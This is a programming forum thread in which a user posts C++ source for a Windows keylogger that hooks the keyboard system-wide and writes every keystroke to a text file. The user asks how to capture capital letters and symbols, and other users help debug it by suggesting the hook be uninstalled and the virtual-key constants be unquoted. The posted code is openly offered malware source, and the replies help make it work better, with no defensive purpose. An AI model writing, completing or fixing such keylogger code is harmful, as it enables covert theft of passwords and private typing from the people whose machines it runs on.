C++ Problem write capital letters

[mefju]

Hi
I have a keylogger code which writes the keys but does not write capital letters and such that:! @ # $% ^ & * () +
Someone help me with this?
Here is a keylogging code:

#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam==WM_KEYDOWN)
{
    switch (p->vkCode)
    {

        case 'VK_A' : out <<"A"; break;
        case 'VK_a' : out <<"a"; break;
        case 'VK_CAPITAL' : out <<"CAPITAL"; break;
        case 'VK_ADD' : out <<"+"; break;




        default:
              out << char(tolower(p->vkCode));
    }

}
return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    MSG msg;
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

while(GetMessage(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    return msg.wParam;
}


}

[Ancient Dragon]

I don't know the answer to the problem off the top of my head, but I do know that it needs to uninstall the hook before program exit to avoid system-wide crash.

[CGSMCMLXXV]

I don't know about MS-VS, but aren't VK_'s vars some sort of constants and not strings? From your description it seems switch enters all the time in default branch. I might be wrong though because I am not into MS-VS.

[Ancient Dragon]

I think you are right. The VK's should not be in quotes, I'm surprised it even compiled.

case VK_A: out <<"A"; break;